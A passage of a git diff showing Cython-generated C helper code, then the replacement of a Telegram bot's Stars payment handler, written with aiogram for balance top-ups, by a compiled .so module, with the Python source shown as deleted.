return val; + } + if (is_unsigned) { +#if CYTHON_USE_PYLONG_INTERNALS + if (unlikely(__Pyx_PyLong_IsNeg(x))) { + goto raise_neg_overflow; + } else if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(int, __Pyx_compact_upylong, __Pyx_PyLong_CompactValueUnsigned(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_DigitCount(x)) { + case 2: + if ((8 * sizeof(int) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 2 * PyLong_SHIFT)) { + return (int) (((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + case 3: + if ((8 * sizeof(int) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 3 * PyLong_SHIFT)) { + return (int) (((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + case 4: + if ((8 * sizeof(int) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 4 * PyLong_SHIFT)) { + return (int) (((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + } + } +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A7 + if (unlikely(Py_SIZE(x) < 0)) { + goto raise_neg_overflow; + } +#else + { + int result = PyObject_RichCompareBool(x, Py_False, Py_LT); + if (unlikely(result < 0)) + return (int) -1; + if (unlikely(result == 1)) + goto raise_neg_overflow; + } +#endif + if ((sizeof(int) <= sizeof(unsigned long))) { + __PYX_VERIFY_RETURN_INT_EXC(int, unsigned long, PyLong_AsUnsignedLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(int) <= sizeof(unsigned PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(int, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) +#endif + } + } else { +#if CYTHON_USE_PYLONG_INTERNALS + if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(int, __Pyx_compact_pylong, __Pyx_PyLong_CompactValue(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_SignedDigitCount(x)) { + case -2: + if ((8 * sizeof(int) - 1 > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 2: + if ((8 * sizeof(int) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + return (int) ((((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case -3: + if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 3: + if ((8 * sizeof(int) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + return (int) ((((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case -4: + if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 4 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 4: + if ((8 * sizeof(int) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 4 * PyLong_SHIFT)) { + return (int) ((((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + } + } +#endif + if ((sizeof(int) <= sizeof(long))) { + __PYX_VERIFY_RETURN_INT_EXC(int, long, PyLong_AsLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(int) <= sizeof(PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(int, PY_LONG_LONG, PyLong_AsLongLong(x)) +#endif + } + } + { + int val; + int ret = -1; +#if PY_VERSION_HEX >= 0x030d00A6 && !CYTHON_COMPILING_IN_LIMITED_API + Py_ssize_t bytes_copied = PyLong_AsNativeBytes( + x, &val, sizeof(val), Py_ASNATIVEBYTES_NATIVE_ENDIAN | (is_unsigned ? Py_ASNATIVEBYTES_UNSIGNED_BUFFER | Py_ASNATIVEBYTES_REJECT_NEGATIVE : 0)); + if (unlikely(bytes_copied == -1)) { + } else if (unlikely(bytes_copied > (Py_ssize_t) sizeof(val))) { + goto raise_overflow; + } else { + ret = 0; + } +#elif PY_VERSION_HEX < 0x030d0000 && !(CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API) || defined(_PyLong_AsByteArray) + int one = 1; int is_little = (int)*(unsigned char *)&one; + unsigned char *bytes = (unsigned char *)&val; + ret = _PyLong_AsByteArray((PyLongObject *)x, + bytes, sizeof(val), + is_little, !is_unsigned); +#else + PyObject *v; + PyObject *stepval = NULL, *mask = NULL, *shift = NULL; + int bits, remaining_bits, is_negative = 0; + int chunk_size = (sizeof(long) < 8) ? 30 : 62; + if (likely(PyLong_CheckExact(x))) { + v = __Pyx_NewRef(x); + } else { + v = PyNumber_Long(x); + if (unlikely(!v)) return (int) -1; + assert(PyLong_CheckExact(v)); + } + { + int result = PyObject_RichCompareBool(v, Py_False, Py_LT); + if (unlikely(result < 0)) { + Py_DECREF(v); + return (int) -1; + } + is_negative = result == 1; + } + if (is_unsigned && unlikely(is_negative)) { + Py_DECREF(v); + goto raise_neg_overflow; + } else if (is_negative) { + stepval = PyNumber_Invert(v); + Py_DECREF(v); + if (unlikely(!stepval)) + return (int) -1; + } else { + stepval = v; + } + v = NULL; + val = (int) 0; + mask = PyLong_FromLong((1L << chunk_size) - 1); if (unlikely(!mask)) goto done; + shift = PyLong_FromLong(chunk_size); if (unlikely(!shift)) goto done; + for (bits = 0; bits < (int) sizeof(int) * 8 - chunk_size; bits += chunk_size) { + PyObject *tmp, *digit; + long idigit; + digit = PyNumber_And(stepval, mask); + if (unlikely(!digit)) goto done; + idigit = PyLong_AsLong(digit); + Py_DECREF(digit); + if (unlikely(idigit < 0)) goto done; + val |= ((int) idigit) << bits; + tmp = PyNumber_Rshift(stepval, shift); + if (unlikely(!tmp)) goto done; + Py_DECREF(stepval); stepval = tmp; + } + Py_DECREF(shift); shift = NULL; + Py_DECREF(mask); mask = NULL; + { + long idigit = PyLong_AsLong(stepval); + if (unlikely(idigit < 0)) goto done; + remaining_bits = ((int) sizeof(int) * 8) - bits - (is_unsigned ? 0 : 1); + if (unlikely(idigit >= (1L << remaining_bits))) + goto raise_overflow; + val |= ((int) idigit) << bits; + } + if (!is_unsigned) { + if (unlikely(val & (((int) 1) << (sizeof(int) * 8 - 1)))) + goto raise_overflow; + if (is_negative) + val = ~val; + } + ret = 0; + done: + Py_XDECREF(shift); + Py_XDECREF(mask); + Py_XDECREF(stepval); +#endif + if (unlikely(ret)) + return (int) -1; + return val; + } +raise_overflow: + PyErr_SetString(PyExc_OverflowError, + "value too large to convert to int"); + return (int) -1; +raise_neg_overflow: + PyErr_SetString(PyExc_OverflowError, + "can't convert negative value to int"); + return (int) -1; +} + +/* FastTypeChecks */ + #if CYTHON_COMPILING_IN_CPYTHON +static int __Pyx_InBases(PyTypeObject *a, PyTypeObject *b) { + while (a) { + a = __Pyx_PyType_GetSlot(a, tp_base, PyTypeObject*); + if (a == b) + return 1; + } + return b == &PyBaseObject_Type; +} +static CYTHON_INLINE int __Pyx_IsSubtype(PyTypeObject *a, PyTypeObject *b) { + PyObject *mro; + if (a == b) return 1; + mro = a->tp_mro; + if (likely(mro)) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(mro); + for (i = 0; i < n; i++) { + if (PyTuple_GET_ITEM(mro, i) == (PyObject *)b) + return 1; + } + return 0; + } + return __Pyx_InBases(a, b); +} +static CYTHON_INLINE int __Pyx_IsAnySubtype2(PyTypeObject *cls, PyTypeObject *a, PyTypeObject *b) { + PyObject *mro; + if (cls == a || cls == b) return 1; + mro = cls->tp_mro; + if (likely(mro)) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(mro); + for (i = 0; i < n; i++) { + PyObject *base = PyTuple_GET_ITEM(mro, i); + if (base == (PyObject *)a || base == (PyObject *)b) + return 1; + } + return 0; + } + return __Pyx_InBases(cls, a) || __Pyx_InBases(cls, b); +} +#if PY_MAJOR_VERSION == 2 +static int __Pyx_inner_PyErr_GivenExceptionMatches2(PyObject *err, PyObject* exc_type1, PyObject* exc_type2) { + PyObject *exception, *value, *tb; + int res; + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + __Pyx_ErrFetch(&exception, &value, &tb); + res = exc_type1 ? PyObject_IsSubclass(err, exc_type1) : 0; + if (unlikely(res == -1)) { + PyErr_WriteUnraisable(err); + res = 0; + } + if (!res) { + res = PyObject_IsSubclass(err, exc_type2); + if (unlikely(res == -1)) { + PyErr_WriteUnraisable(err); + res = 0; + } + } + __Pyx_ErrRestore(exception, value, tb); + return res; +} +#else +static CYTHON_INLINE int __Pyx_inner_PyErr_GivenExceptionMatches2(PyObject *err, PyObject* exc_type1, PyObject *exc_type2) { + if (exc_type1) { + return __Pyx_IsAnySubtype2((PyTypeObject*)err, (PyTypeObject*)exc_type1, (PyTypeObject*)exc_type2); + } else { + return __Pyx_IsSubtype((PyTypeObject*)err, (PyTypeObject*)exc_type2); + } +} +#endif +static int __Pyx_PyErr_GivenExceptionMatchesTuple(PyObject *exc_type, PyObject *tuple) { + Py_ssize_t i, n; + assert(PyExceptionClass_Check(exc_type)); + n = PyTuple_GET_SIZE(tuple); +#if PY_MAJOR_VERSION >= 3 + for (i=0; i= 0x030B00A4 + return Py_Version & ~0xFFUL; +#else + const char* rt_version = Py_GetVersion(); + unsigned long version = 0; + unsigned long factor = 0x01000000UL; + unsigned int digit = 0; + int i = 0; + while (factor) { + while ('0' <= rt_version[i] && rt_version[i] <= '9') { + digit = digit * 10 + (unsigned int) (rt_version[i] - '0'); + ++i; + } + version += factor * digit; + if (rt_version[i] != '.') + break; + digit = 0; + factor >>= 8; + ++i; + } + return version; +#endif +} +static int __Pyx_check_binary_version(unsigned long ct_version, unsigned long rt_version, int allow_newer) { + const unsigned long MAJOR_MINOR = 0xFFFF0000UL; + if ((rt_version & MAJOR_MINOR) == (ct_version & MAJOR_MINOR)) + return 0; + if (likely(allow_newer && (rt_version & MAJOR_MINOR) > (ct_version & MAJOR_MINOR))) + return 1; + { + char message[200]; + PyOS_snprintf(message, sizeof(message), + "compile time Python version %d.%d " + "of module '%.100s' " + "%s " + "runtime version %d.%d", + (int) (ct_version >> 24), (int) ((ct_version >> 16) & 0xFF), + __Pyx_MODULE_NAME, + (allow_newer) ? "was newer than" : "does not match", + (int) (rt_version >> 24), (int) ((rt_version >> 16) & 0xFF) + ); + return PyErr_WarnEx(NULL, message, 1); + } +} + +/* InitStrings */ + #if PY_MAJOR_VERSION >= 3 +static int __Pyx_InitString(__Pyx_StringTabEntry t, PyObject **str) { + if (t.is_unicode | t.is_str) { + if (t.intern) { + *str = PyUnicode_InternFromString(t.s); + } else if (t.encoding) { + *str = PyUnicode_Decode(t.s, t.n - 1, t.encoding, NULL); + } else { + *str = PyUnicode_FromStringAndSize(t.s, t.n - 1); + } + } else { + *str = PyBytes_FromStringAndSize(t.s, t.n - 1); + } + if (!*str) + return -1; + if (PyObject_Hash(*str) == -1) + return -1; + return 0; +} +#endif +static int __Pyx_InitStrings(__Pyx_StringTabEntry *t) { + while (t->p) { + #if PY_MAJOR_VERSION >= 3 + __Pyx_InitString(*t, t->p); + #else + if (t->is_unicode) { + *t->p = PyUnicode_DecodeUTF8(t->s, t->n - 1, NULL); + } else if (t->intern) { + *t->p = PyString_InternFromString(t->s); + } else { + *t->p = PyString_FromStringAndSize(t->s, t->n - 1); + } + if (!*t->p) + return -1; + if (PyObject_Hash(*t->p) == -1) + return -1; + #endif + ++t; + } + return 0; +} + +#include +static CYTHON_INLINE Py_ssize_t __Pyx_ssize_strlen(const char *s) { + size_t len = strlen(s); + if (unlikely(len > (size_t) PY_SSIZE_T_MAX)) { + PyErr_SetString(PyExc_OverflowError, "byte string is too long"); + return -1; + } + return (Py_ssize_t) len; +} +static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char* c_str) { + Py_ssize_t len = __Pyx_ssize_strlen(c_str); + if (unlikely(len < 0)) return NULL; + return __Pyx_PyUnicode_FromStringAndSize(c_str, len); +} +static CYTHON_INLINE PyObject* __Pyx_PyByteArray_FromString(const char* c_str) { + Py_ssize_t len = __Pyx_ssize_strlen(c_str); + if (unlikely(len < 0)) return NULL; + return PyByteArray_FromStringAndSize(c_str, len); +} +static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject* o) { + Py_ssize_t ignore; + return __Pyx_PyObject_AsStringAndSize(o, &ignore); +} +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT +#if !CYTHON_PEP393_ENABLED +static const char* __Pyx_PyUnicode_AsStringAndSize(PyObject* o, Py_ssize_t *length) { + char* defenc_c; + PyObject* defenc = _PyUnicode_AsDefaultEncodedString(o, NULL); + if (!defenc) return NULL; + defenc_c = PyBytes_AS_STRING(defenc); +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + { + char* end = defenc_c + PyBytes_GET_SIZE(defenc); + char* c; + for (c = defenc_c; c < end; c++) { + if ((unsigned char) (*c) >= 128) { + PyUnicode_AsASCIIString(o); + return NULL; + } + } + } +#endif + *length = PyBytes_GET_SIZE(defenc); + return defenc_c; +} +#else +static CYTHON_INLINE const char* __Pyx_PyUnicode_AsStringAndSize(PyObject* o, Py_ssize_t *length) { + if (unlikely(__Pyx_PyUnicode_READY(o) == -1)) return NULL; +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + if (likely(PyUnicode_IS_ASCII(o))) { + *length = PyUnicode_GET_LENGTH(o); + return PyUnicode_AsUTF8(o); + } else { + PyUnicode_AsASCIIString(o); + return NULL; + } +#else + return PyUnicode_AsUTF8AndSize(o, length); +#endif +} +#endif +#endif +static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject* o, Py_ssize_t *length) { +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT + if ( +#if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + __Pyx_sys_getdefaultencoding_not_ascii && +#endif + PyUnicode_Check(o)) { + return __Pyx_PyUnicode_AsStringAndSize(o, length); + } else +#endif +#if (!CYTHON_COMPILING_IN_PYPY && !CYTHON_COMPILING_IN_LIMITED_API) || (defined(PyByteArray_AS_STRING) && defined(PyByteArray_GET_SIZE)) + if (PyByteArray_Check(o)) { + *length = PyByteArray_GET_SIZE(o); + return PyByteArray_AS_STRING(o); + } else +#endif + { + char* result; + int r = PyBytes_AsStringAndSize(o, &result, length); + if (unlikely(r < 0)) { + return NULL; + } else { + return result; + } + } +} +static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject* x) { + int is_true = x == Py_True; + if (is_true | (x == Py_False) | (x == Py_None)) return is_true; + else return PyObject_IsTrue(x); +} +static CYTHON_INLINE int __Pyx_PyObject_IsTrueAndDecref(PyObject* x) { + int retval; + if (unlikely(!x)) return -1; + retval = __Pyx_PyObject_IsTrue(x); + Py_DECREF(x); + return retval; +} +static PyObject* __Pyx_PyNumber_IntOrLongWrongResultType(PyObject* result, const char* type_name) { + __Pyx_TypeName result_type_name = __Pyx_PyType_GetName(Py_TYPE(result)); +#if PY_MAJOR_VERSION >= 3 + if (PyLong_Check(result)) { + if (PyErr_WarnFormat(PyExc_DeprecationWarning, 1, + "__int__ returned non-int (type " __Pyx_FMT_TYPENAME "). " + "The ability to return an instance of a strict subclass of int is deprecated, " + "and may be removed in a future version of Python.", + result_type_name)) { + __Pyx_DECREF_TypeName(result_type_name); + Py_DECREF(result); + return NULL; + } + __Pyx_DECREF_TypeName(result_type_name); + return result; + } +#endif + PyErr_Format(PyExc_TypeError, + "__%.4s__ returned non-%.4s (type " __Pyx_FMT_TYPENAME ")", + type_name, type_name, result_type_name); + __Pyx_DECREF_TypeName(result_type_name); + Py_DECREF(result); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x) { +#if CYTHON_USE_TYPE_SLOTS + PyNumberMethods *m; +#endif + const char *name = NULL; + PyObject *res = NULL; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x) || PyLong_Check(x))) +#else + if (likely(PyLong_Check(x))) +#endif + return __Pyx_NewRef(x); +#if CYTHON_USE_TYPE_SLOTS + m = Py_TYPE(x)->tp_as_number; + #if PY_MAJOR_VERSION < 3 + if (m && m->nb_int) { + name = "int"; + res = m->nb_int(x); + } + else if (m && m->nb_long) { + name = "long"; + res = m->nb_long(x); + } + #else + if (likely(m && m->nb_int)) { + name = "int"; + res = m->nb_int(x); + } + #endif +#else + if (!PyBytes_CheckExact(x) && !PyUnicode_CheckExact(x)) { + res = PyNumber_Int(x); + } +#endif + if (likely(res)) { +#if PY_MAJOR_VERSION < 3 + if (unlikely(!PyInt_Check(res) && !PyLong_Check(res))) { +#else + if (unlikely(!PyLong_CheckExact(res))) { +#endif + return __Pyx_PyNumber_IntOrLongWrongResultType(res, name); + } + } + else if (!PyErr_Occurred()) { + PyErr_SetString(PyExc_TypeError, + "an integer is required"); + } + return res; +} +static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject* b) { + Py_ssize_t ival; + PyObject *x; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(b))) { + if (sizeof(Py_ssize_t) >= sizeof(long)) + return PyInt_AS_LONG(b); + else + return PyInt_AsSsize_t(b); + } +#endif + if (likely(PyLong_CheckExact(b))) { + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(__Pyx_PyLong_IsCompact(b))) { + return __Pyx_PyLong_CompactValue(b); + } else { + const digit* digits = __Pyx_PyLong_Digits(b); + const Py_ssize_t size = __Pyx_PyLong_SignedDigitCount(b); + switch (size) { + case 2: + if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { + return (Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -2: + if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case 3: + if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { + return (Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -3: + if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case 4: + if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { + return (Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -4: + if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + } + } + #endif + return PyLong_AsSsize_t(b); + } + x = PyNumber_Index(b); + if (!x) return -1; + ival = PyInt_AsSsize_t(x); + Py_DECREF(x); + return ival; +} +static CYTHON_INLINE Py_hash_t __Pyx_PyIndex_AsHash_t(PyObject* o) { + if (sizeof(Py_hash_t) == sizeof(Py_ssize_t)) { + return (Py_hash_t) __Pyx_PyIndex_AsSsize_t(o); +#if PY_MAJOR_VERSION < 3 + } else if (likely(PyInt_CheckExact(o))) { + return PyInt_AS_LONG(o); +#endif + } else { + Py_ssize_t ival; + PyObject *x; + x = PyNumber_Index(o); + if (!x) return -1; + ival = PyInt_AsLong(x); + Py_DECREF(x); + return ival; + } +} +static CYTHON_INLINE PyObject * __Pyx_PyBool_FromLong(long b) { + return b ? __Pyx_NewRef(Py_True) : __Pyx_NewRef(Py_False); +} +static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t ival) { + return PyInt_FromSize_t(ival); +} + + +/* #### Code section: utility_code_pragmas_end ### */ +#ifdef _MSC_VER +#pragma warning( pop ) +#endif + + + +/* #### Code section: end ### */ +#endif /* Py_PYTHON_H */ diff --git a/handlers/payments/stars_pay.cpython-312-x86_64-linux-gnu.so b/handlers/payments/stars_pay.cpython-312-x86_64-linux-gnu.so new file mode 100755 index 00000000..d9f053f0 Binary files /dev/null and b/handlers/payments/stars_pay.cpython-312-x86_64-linux-gnu.so differ diff --git a/handlers/payments/stars_pay.py b/handlers/payments/stars_pay.py deleted file mode 100644 index f993d3f9..00000000 --- a/handlers/payments/stars_pay.py +++ /dev/null @@ -1,213 +0,0 @@ -from typing import Any - -from aiogram import F, Router, types -from aiogram.fsm.context import FSMContext -from aiogram.fsm.state import State, StatesGroup -from aiogram.types import InlineKeyboardButton, LabeledPrice, PreCheckoutQuery -from aiogram.utils.keyboard import InlineKeyboardBuilder -from config import RUB_TO_XTR - -from database import ( - add_connection, - add_payment, - check_connection_exists, - get_key_count, - update_balance, -) -from handlers.payments.utils import send_payment_success_notification -from handlers.texts import PAYMENT_OPTIONS -from logger import logger - -router = Router() - - -class ReplenishBalanceState(StatesGroup): - choosing_amount_stars = State() - waiting_for_payment_confirmation_stars = State() - entering_custom_amount_stars = State() - - -@router.callback_query(F.data == "pay_stars") -async def process_callback_pay_stars( - callback_query: types.CallbackQuery, state: FSMContext, session: Any -): - tg_id = callback_query.message.chat.id - - builder = InlineKeyboardBuilder() - builder.row( - InlineKeyboardButton( - text="🤖 Бот для покупки звезд", url="https://t.me/PremiumBot" - ) - ) - - for i in range(0, len(PAYMENT_OPTIONS), 2): - if i + 1 < len(PAYMENT_OPTIONS): - builder.row( - InlineKeyboardButton( - text=PAYMENT_OPTIONS[i]["text"], - callback_data=f'stars_{PAYMENT_OPTIONS[i]["callback_data"]}', - ), - InlineKeyboardButton( - text=PAYMENT_OPTIONS[i + 1]["text"], - callback_data=f'stars_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', - ), - ) - else: - builder.row( - InlineKeyboardButton( - text=PAYMENT_OPTIONS[i]["text"], - callback_data=f'stars_{PAYMENT_OPTIONS[i]["callback_data"]}', - ) - ) - builder.row( - InlineKeyboardButton( - text="💰 Ввести свою сумму", - callback_data="enter_custom_amount_stars", - ) - ) - builder.row(InlineKeyboardButton(text="⬅️ Назад", callback_data="pay")) - - key_count = await get_key_count(tg_id) - - if key_count == 0: - exists = await check_connection_exists(tg_id) - if not exists: - await add_connection(tg_id, balance=0.0, trial=0, session=session) - - try: - await callback_query.message.delete() - except Exception as e: - logger.error(f"Не удалось удалить сообщение: {e}") - - await callback_query.message.answer( - text="Выберите сумму пополнения:", - reply_markup=builder.as_markup(), - ) - - await state.set_state(ReplenishBalanceState.choosing_amount_stars) - - -@router.callback_query(F.data.startswith("stars_amount|")) -async def process_amount_selection( - callback_query: types.CallbackQuery, state: FSMContext -): - data = callback_query.data.split("|", 1) - - if len(data) != 2: - try: - await callback_query.message.delete() - except Exception as e: - logger.error(f"Ошибка при удалении сообщения: {e}") - - await callback_query.message.answer("Неверные данные для выбора суммы.") - return - - amount_str = data[1] - try: - amount = int(amount_str) - except ValueError: - try: - await callback_query.message.delete() - except Exception as e: - logger.error(f"Ошибка при удалении сообщения: {e}") - - await callback_query.message.answer("Некорректная сумма.") - return - - await state.update_data(amount=amount) - await state.set_state(ReplenishBalanceState.waiting_for_payment_confirmation_stars) - - try: - builder = InlineKeyboardBuilder() - builder.row( - InlineKeyboardButton(text="Пополнить", pay=True), - ) - builder.row( - InlineKeyboardButton(text="⬅️ Назад", callback_data="pay"), - ) - - await callback_query.message.answer_invoice( - title=f"Вы выбрали пополнение на {amount} рублей.", - description=f"Вы выбрали пополнение на {amount} рублей.", - prices=[LabeledPrice(label="XTR", amount=int(amount // RUB_TO_XTR))], - provider_token="", - payload=f"{amount}_stars", - currency="XTR", - reply_markup=builder.as_markup(), - ) - except Exception as e: - logger.error(f"Ошибка при создании платежа: {e}") - await callback_query.message.answer("Произошла ошибка при создании платежа.") - - -@router.callback_query(F.data == "enter_custom_amount_stars") -async def process_enter_custom_amount( - callback_query: types.CallbackQuery, state: FSMContext -): - builder = InlineKeyboardBuilder() - builder.row(InlineKeyboardButton(text="🔙 Назад", callback_data="pay_stars")) - - await callback_query.message.answer( - "Пожалуйста, введите сумму пополнения.", - reply_markup=builder.as_markup(), - ) - - await state.set_state(ReplenishBalanceState.entering_custom_amount_stars) - - -@router.message(ReplenishBalanceState.entering_custom_amount_stars) -async def process_custom_amount_input(message: types.Message, state: FSMContext): - if message.text.isdigit(): - amount = int(message.text) - if amount // RUB_TO_XTR <= 0: - await message.answer( - f"Сумма должна быть больше {RUB_TO_XTR}. Пожалуйста, введите сумму еще раз:" - ) - return - - await state.update_data(amount=amount) - await state.set_state( - ReplenishBalanceState.waiting_for_payment_confirmation_stars - ) - try: - builder = InlineKeyboardBuilder() - builder.row( - InlineKeyboardButton(text="Пополнить", pay=True), - ) - builder.row( - InlineKeyboardButton(text="⬅️ Назад", callback_data="pay"), - ) - await message.answer_invoice( - title=f"Вы выбрали пополнение на {amount} рублей.", - description=f"Вы выбрали пополнение на {amount} рублей.", - prices=[LabeledPrice(label="XTR", amount=int(amount // RUB_TO_XTR))], - provider_token="", - payload=f"{amount}_stars", - currency="XTR", - reply_markup=builder.as_markup(), - ) - except Exception as e: - logger.error(f"Ошибка при создании платежа: {e}") - await message.answer("Произошла ошибка при создании платежа.") - else: - await message.answer("Некорректная сумма. Пожалуйста, введите сумму еще раз:") - - -@router.pre_checkout_query() -async def on_pre_checkout_query(pre_checkout_query: PreCheckoutQuery): - await pre_checkout_query.answer(ok=True) - - -@router.message(F.successful_payment) -async def on_successful_payment( - message: types.Message, -): - try: - user_id = int(message.chat.id) - amount = float(message.successful_payment.invoice_payload.split("_")[0]) - logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") - await add_payment(int(user_id), float(amount), "stars") - await update_balance(user_id, amount) - await send_payment_success_notification(user_id, amount) - except ValueError as e: - logger.error(f"Ошибка 